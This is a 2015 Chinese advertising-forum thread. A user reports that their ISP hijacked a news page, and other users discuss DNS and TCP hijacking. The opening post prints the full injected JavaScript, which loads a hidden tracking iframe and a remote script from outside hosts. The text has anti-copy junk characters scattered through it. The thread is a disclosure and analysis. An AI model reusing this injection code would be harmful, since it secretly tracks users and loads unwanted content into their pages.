AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

Adsterra China
 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G皇家代理IP⚡️#1性价比⚡️指纹浏览器,就用AdsPower
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
FB BM不限额,短id账单户E.PN 虚拟卡DuoPlus专注打造跨境电商云手机BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)⚡️个人户,bm户不限额,账单户Google、Bing官方总代  联盟流量开户FB资源,账单户,分享户,国内一手
FB企业户BM户账单户源头海外CL企业户源头PTM全球虚拟卡—进来交个朋友!PTM虚拟卡⚡️费率透明⚡️额度随心
FB虚拟卡⚡️消费越多返现越多虚拟卡 - Pay2.House【找量】BA独家Nutra单找量广告位出租
8500万高质量住宅IP,助力各种需求虚拟卡返佣1%,国内持牌机构  
查看: 8424|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

771

广告币

1423

积分

高级会员

Rank: 4

积分
1423
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
Lemft
本帖最后由 hudba 于 2015-2-3 00:56 编辑 ' V- I; p- w. K* B" J

3 R* Z) B% }3 a: Y3 S" H上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了% d  \# {' O) H/ j

8 T: j' ], V. G5 {7 Y, K" v接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}0 }/ b/ A6 |1 u2 s7 d
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197

8 X$ `% }8 g( L: o5 z% g" h. n5 _  Y8 _- n0 M
顺便查下ip138:
3 N: X3 B) Q* Z: y) [8 o( J/ z3 y. F/ q% D1 }8 m! z8 p2 L- u
这是那段js里面的代码,好象是个半成品还没写入广告数据:' i5 r" S8 e% w' l- j" F* K
  1. function locationSearch() {/ T' S5 K1 x, _4 H. S; a6 m8 M- G
  2.         var s = getMainJs();
    , I* p0 b4 ]0 m" _
  3.         if (s == null) {
    * i5 j9 X& Q6 B1 g
  4.                 location.reload();( T. s, |5 [1 f* v) U& Q
  5.         }7 V5 [" ^- C; B
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);7 t$ e- J8 q2 G$ r( }5 U
  7. }- R2 O8 @6 M7 x# I9 r1 l4 j; N. `

  8. - g3 r$ q6 Y+ r  [0 {- a; A
  9. function getParameter(name, paraStr) {3 N# `( v: p* {" ^
  10.         var result = "";1 f- O6 Z- i* Q& a# O( A
  11.         var str = "&" + paraStr.split("?")[1];
    2 U  o! i8 D( {( G# \7 m/ a( [
  12.         var paraName = "&" + name + "=";
    / v, G$ V  q3 H1 D" |
  13.         if (str.indexOf(paraName) != -1) {
    9 v: L0 B* q! m9 \0 }
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {7 Q% n) \+ p% K( W  I  {% a( r
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    1 T2 {4 K1 |" z* P
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(8 `1 H" t9 d$ o  G! H: ~, ?" A& ]
  17.                                         1, TmpStr.length).indexOf("&")
    ! Q9 V% g/ ?+ t, A; O
  18.                                         - TmpStr.indexOf(paraName) + 1);, K6 |( h0 |: Z& S8 {) d; G
  19.                 } else {
    1 e* s$ x7 j9 A; @, k' H" @5 @
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    / {- u; c( X  T+ `* z
  21.                 }7 Y9 o4 `# K9 t$ O' t
  22. 4 V& n8 M. `5 f* @7 p
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    7 r6 ?6 z7 O& I( i3 _% ^
  24.         } else {
    9 A. e5 n! {+ q% K! s
  25.                 result = "No such parameter";
    - `$ S# T+ \2 i( F9 L
  26.         }3 K" B! s: A" [4 y7 O9 H
  27.         return (result.replace("&", ""));
    % ]3 h8 B8 y# b( z) ~
  28. }
    * b  y! `7 q8 ^5 r9 a1 m
  29. 6 _' }2 B" o5 r2 V2 P
  30. function getMainJs() {
    / T% p" A" t( |, O
  31.         var scripts = document.getElementsByTagName("script");
    1 W1 e" [+ Z) I, m. a
  32.         var s = null;
    8 i& h2 _/ ?$ ?% W4 O- }" @# D
  33.         for (var i = 0; i < scripts.length; i++) {' G8 Q3 ], i1 G# n
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {7 `9 x; r# L+ E7 n
  35.                         s = scripts[i];
    1 U6 K, k& P% ?
  36.                         break;7 t- r" D' H7 b; O3 l5 g& p; t& N
  37.                 }- h, \5 Q( h- g# P5 z
  38.         }8 f3 q  Y& @/ F! X9 l6 q
  39.         return s;
    + N) S( ^9 _6 L8 v% x9 O! p
  40. }
    * k# l7 G; O  f3 R6 v# {, ~: f

  41. + x; @' G3 Y# B& x
  42. function appendParam(oStr, aStr) {
    ( S5 b5 ]4 k( V' U% X
  43.         if (oStr.indexOf('?') > 0) {
    % K) C6 X! U- H$ L( X
  44.                 oStr = oStr + "&" + aStr;
    3 d' F. b0 c6 a7 k+ `
  45.         } else {  w' z; N) A% r* W2 L
  46.                 oStr = oStr + "?" + aStr;
    % s9 g7 |! r( v
  47.         }
    " p) Y$ S! B+ M/ x8 J. @( O
  48.         return oStr;
    & F3 t9 N# M: m; w. P( I
  49. }; P5 I4 B1 @! y. P: N
  50. 3 h% P- q& q; o& i
  51. window.onerror = function() {+ q2 k$ S8 V2 m% Z* P3 k0 `
  52. };+ R) |: m3 _3 v* p6 ~  j

  53. , K1 I  ?5 I1 ~- f. q' `
  54. var g_titleTime = 0;# ]7 w! `! d% l$ B$ |
  55. function setTcTitle() {, Z3 m: Y. V5 t- r
  56.         if (undefined == document) {
    2 b! p0 a  a- o/ {
  57.                 g_titleTime++;
      ?' C3 q% b8 [% ?  v' \, \" [
  58.                 setTimeout("setTcTitle();", 1000);- M9 R  u; W( F
  59.                 return;
    # x9 z5 L% h  w: p: Z9 q
  60.         }! s- d+ ]5 P0 B" V: J7 _2 O6 y5 g

  61. $ p& i8 n* Z; O& F) n, `# c
  62.         var doc;  O/ M4 F" \" f5 K2 ], d
  63.         try {
    ' o0 L0 \6 P6 U
  64.                 if (document.all) {
    3 G, v( a1 U3 p; t  f
  65.                         doc = document.frames["cn"].document;
    ' E# q3 ?/ s* o! S. S, q( C# e( O, Y1 g1 ~
  66.                 } else {; d( L& H7 m9 J! y8 j+ }
  67.                         doc = document.getElementById("cn").contentDocument;; \1 d* B! q# L. C& _( _8 I
  68.                 }3 p/ D- a4 S) x. Z" ^8 Y
  69.         } catch (ex) {! R' E/ u/ w/ L3 ~: w' w% H
  70.         }
    & S' X9 Y6 f3 i  k, Z+ @
  71. & C2 ~+ T/ z5 v+ U; W) J
  72.         if (g_titleTime < 5
    - ~( I) W: }7 C2 X7 |
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {  K# A! d& {# C/ u1 _  b4 U0 b
  74.                 g_titleTime++;7 K3 R; ]/ A! T. O: i% g* H
  75.                 setTimeout("setTcTitle();", 1000);
    & _6 R7 n% k& @$ N# A  G
  76.                 return;
    8 N. z5 |' M$ C! G6 s  w+ j# Z0 q
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    5 F6 K4 p( ?2 c; L0 j
  78.                 document.title = doc.title;
    $ q9 W  g. Y7 b: ]$ g4 X
  79.                 setTcAdvVisible();
    ' D( Y! ^% L% n8 f; |" T) e: E0 ]
  80.         }# ], n3 {' M4 a4 g: e
  81. }
    6 e' T# K9 r. Q% j+ x, L! r
  82. % L# l# Z8 N: L" z: O; {% D/ v
  83. setTimeout("setTcTitle();", 1000);9 O/ s0 q9 p4 C7 `5 m4 C9 `- w+ K

  84. - |( x9 _- `/ @* c/ m' m5 j
  85. var g_isHaveVisible = false;
    ; |4 n$ `- @! }; |* Q3 K
  86. function setTcAdvVisible() {# b* O) z  @: m* `
  87.         if (undefined != document && undefined != document.getElementById("addiv")9 a* o* q2 p/ z% M0 e
  88.                         && !g_isHaveVisible) {# ]3 w' ]5 {# F% u0 i
  89.                 document.getElementById("addiv").style.visibility = 'visible';* y- v+ u" _0 u5 u
  90.                 document.getElementById("addiv").style.display = 'block';0 h/ q+ V8 _; `' h( x$ h
  91.                 g_isHaveVisible = true;) U% D. m5 Y" N5 W( U5 C
  92.         }
    9 \+ B7 q' `& X  q" {8 F/ }
  93. }
    ' x' I  B4 ]. C' Z+ Y7 ]& \
  94. 2 i: F# B  P) J* |4 I( R  r
  95. function UrlAnalyzer() {# u( [% ^# A) d2 K
  96.         this.divda = "";
    ( d5 X: K' B7 I) _+ t
  97.         this.tctype = "";
    # s/ Q% [) ]( k* X
  98.         this.radius = "";& R- d  v( \5 {2 p
  99.         this.rlu = "";. u) O" q8 m$ b
  100. }0 I( B0 N: ]4 {9 N8 ^2 \3 D

  101. 3 G9 k9 H& Y* ^; q' C$ j- @- r
  102. UrlAnalyzer.prototype.initParameters = function() {
    3 T" Z1 ~  x  m( E' P8 c
  103.         var paraStr = locationSearch();& A' Q4 d% R) j
  104.         this.rlu = getParameter("lruedct", paraStr);
      C. y- J" s% M) ]
  105.         this.divda = getParameter("divda", paraStr);
      E, U. C: i) z$ [
  106.         this.radius = getParameter("radius", paraStr);/ Y( w" O: z. N
  107.         this.tctype = getParameter("tctype", paraStr);
    8 @# ^) @2 ?' ^( h
  108.         this.address = getParameter("address", paraStr);/ r' \; K$ w  r: h
  109.         this.usagent = getParameter("usagent", paraStr);$ v. n/ {0 f1 Z1 T# x$ F4 z9 [( q
  110. }- [3 N$ Z- S) ~. F- b& [( ?( d
  111. # [! A6 I! B7 I6 i& @, I
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {
    1 c7 D) {$ M6 Y8 z2 B( S: b
  113.         var doc;; J, x. E( y) Y
  114.         try {' L7 f1 v6 s5 m2 I5 B- @; l
  115.                 if (document.all) {( r7 H- ?& n$ i+ B! s6 P
  116.                         doc = document.frames["cn"].document;; Z( V9 O, q* I% V" r  j# n
  117. 1 I: g& {' d2 n/ X, p
  118.                 } else {
    & {1 O* K) [# L
  119.                         doc = document.getElementById("cn").contentDocument;% Q/ r8 d. b. w2 l) W
  120.                         // doc = document.getElementById("cn").contentWindow.document;- ?% \# r. G. ?4 a% `
  121.                 }' b) |4 n5 O$ \0 U, u3 S- v
  122.         } catch (ex) {5 _+ `8 d, ?: X: p& |' e
  123.         }! \& e3 L6 t: m0 f: u
  124.         return doc;3 ]+ F' O3 ~7 [5 e! r# v) e
  125. }
    3 F: d4 ]3 t3 [. M

  126. 9 n' b. v% r* D
  127. UrlAnalyzer.prototype.setDomain = function() {
    4 v0 Y* o8 d5 @+ k) g6 P3 N
  128.         if (undefined != document.title && "" == document.title)
    & }, p# h" m. s, t5 R
  129.         {5 v. z" i# x+ u0 W0 x0 d, i
  130.                 var index = document.domain.indexOf(".");$ d( t( {: }* T7 u. o
  131.                 if (undefined != index && -1 != index) {) D  F0 t/ e* W& x. H
  132.                         document.domain = document.domain.substring(index + 1,3 ~& W  ~1 s2 }! y$ A% a$ w0 |
  133.                                         document.domain.length);( `8 y0 ]8 I; I# B- ]) T. q6 K
  134.                 }% J1 o+ w: `, l) w6 M( I5 h# ^
  135.                
    2 k; |9 Y( }% Q' C& y
  136.                 var doc = this.getHtmlDoc();
    ; U" k2 v. V) w. N' G6 D' |
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {, |6 N9 G, c0 m2 U7 }
  138.                         document.title = doc.title;& _* m+ y/ s1 c$ }+ N) q. k" i9 I
  139.                         setTcAdvVisible();
    . C$ e3 ]* E" d! }9 L$ H
  140.                 }
    ; G0 Q2 l) e* l
  141.         }
    + k1 ?, x3 H# h% ]# H. E/ c7 @
  142. }
    + }0 `, `+ H0 H1 b( [: c
  143. + r6 o3 h/ B2 r" l* _  L
  144. UrlAnalyzer.prototype.iframeCallback = function() {5 n; y9 }8 b7 g1 q& [, C
  145.         var doc = this.getHtmlDoc();
    2 l0 S& L+ x) |- J% d9 n8 x" p: u
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
    9 \. d+ A9 m" N+ T* H
  147.                 if (undefined != document.domain) {
    : E$ P) S9 M" t8 @

  148. $ G  P3 i! A% {/ V4 O! `6 _
  149.                         var self = this;
    2 \8 Q- e; F) p( Z* n) c6 Q
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    1 v" N- v+ G4 W6 {) D
  151.                         // var index = document.domain.indexOf(".");
      x; o! x9 Q9 X8 B9 W& [4 C' a
  152.                         // if (undefined != index && -1 != index) {
    , V. v9 b* ]" U% W  S9 B- |8 P
  153.                         // document.domain = document.domain.substring(index + 1,
    . k7 g9 a3 p; b7 ^) j
  154.                         // document.domain.length);3 `. w: x1 y/ a1 N7 R8 x
  155.                         // }
    # K. Y% r* X: L: F9 Y( a
  156.                         //! x& e/ d, e# C5 z
  157.                         // var doc = this.getHtmlDoc();/ o" ~3 q8 M0 ?. \/ L) ?/ q1 C( y
  158.                         // if (undefined != doc && undefined != doc.title && "" !=
    / e3 T( j* s5 S9 x: J( @: \; i
  159.                         // doc.title) {
    6 D* V1 ^  ~6 v& L  }
  160.                         // document.title = doc.title;
    " B& Z% j: O' L5 l( O! o
  161.                         // setTcAdvVisible();, u. K; e- M+ q* }5 h$ Q2 w
  162.                         // }$ k. W5 O( _# R- N0 z, ^- \0 d$ w
  163.                 }
    / F- d5 z3 P2 R7 a# e5 }
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ( \$ X, k& U- p$ j
  165.                 document.title = doc.title;
    & ]; t0 P4 g  B9 m6 X; v
  166.                 setTcAdvVisible();
    1 K0 \# |( z4 k4 T- v
  167.         }8 C8 s8 B  @7 k8 t; H
  168. }
    / f, K: f7 m  a& g; R0 D" w

  169. 4 p& u8 w$ N4 f8 l  t  k1 B
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {) S, R* N* ^2 v, J+ l
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda. w; l# D% V- ^. d4 t/ ~4 Z
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
    ( y* y0 }* L0 J+ ?
  173. 5 O" Y- R- W1 V# P+ D' U
  174.         var htmlStr = "<iframe src="" + staUrl
    & L3 b# b: K/ L& ]
  175.                         + "" style="display:none"></iframe>";
    : x! X$ T: x" `$ x" G9 M9 B0 O
  176. ; I! m9 t5 Z! m8 }
  177.         var advUrl = htmlStr# Q! g1 b  ]& C  Y! Y
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="5 _$ S, K, ]/ A& P% G) K
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";9 T! d3 U7 h& [$ Y. ]
  180.         document.write(advUrl);5 a( V0 j0 Q* U, k4 t* F5 w. N4 u  V6 V
  181. 6 A6 Z: {9 _% o$ f
  182.         var self = this;- ]6 X$ d' x6 ?, O/ E) S
  183.         var iframe = document.getElementById("cn");! t* ~& K: C2 Y; x9 e" i, b
  184.         if (iframe.attachEvent) {
    5 C* G, ^' \9 j$ e9 a
  185.                 iframe.attachEvent("onload", function() {
    ! B8 m8 M& v( l
  186.                         self.iframeCallback.call(self, null);
    : g6 j1 X! D" b. \# L3 g
  187.                 });& U/ e' ?0 o9 k0 ^
  188.         } else {
    . [; K! d' x0 h4 s
  189.                 iframe.onload = function() {
    $ p$ W, ?# q' O4 R# [: v
  190.                         self.iframeCallback.call(self, null);
    ! f! `0 W. {' V
  191.                 }
    . f/ H2 D: S( h0 f1 `: `: e# N
  192.         }8 H* W% `' U0 w% W; x% y  p- V8 _. M
  193. }
    4 n; j" _6 ]+ ?6 C9 Z  f& _
  194. + r) d7 }, B$ F
  195. UrlAnalyzer.prototype.executeMain = function() {
    . L0 q, \$ h, m1 C2 s
  196.         var mainFrame = document.getElementById("cn");  P# o" Y2 Q/ N" I: C
  197.         mainFrame.contentWindow.location.href = mainFrame.src;
    1 J/ u4 y) I. w7 `' ]
  198.         this.initParameters();
    # ^% F- S. h' y% V7 Z/ A0 C
  199.         this.executeHtmlContext();4 R+ d- Q/ M# `% B/ o& j1 ]
  200. }! @( k- S" n  h2 ]

  201. , V( M! w! U; n
  202. var g_analyzer = new UrlAnalyzer();
    7 E! _1 I1 f, e8 @6 t% v
  203. g_analyzer.executeMain();
    - a- Z: L! H$ x3 G8 Q! v
复制代码
- \2 o! M3 r0 G* {$ V$ `
: k) T; k8 w" x& X( R( ^7 K
/ g6 z' z) A; i+ |4 E$ u. p6 V3 Q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

51

主题

450

广告币

836

积分

中级会员

Rank: 3Rank: 3

积分
836
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

347

广告币

594

积分

中级会员

Rank: 3Rank: 3

积分
594
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1729

广告币

2027

积分

高级会员

Rank: 4

积分
2027
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49! S# h6 X5 z+ {
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...
5 ^. o) P+ F+ U( T( F5 N& S1 A
TCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
3 ^% F- E. z9 X& S3 aTCP劫持,换DNS也不管用的。

$ j: I( _/ H9 ^  w) w$ M* `幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2025-7-17 06:05 , Processed in 0.066234 second(s), 19 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表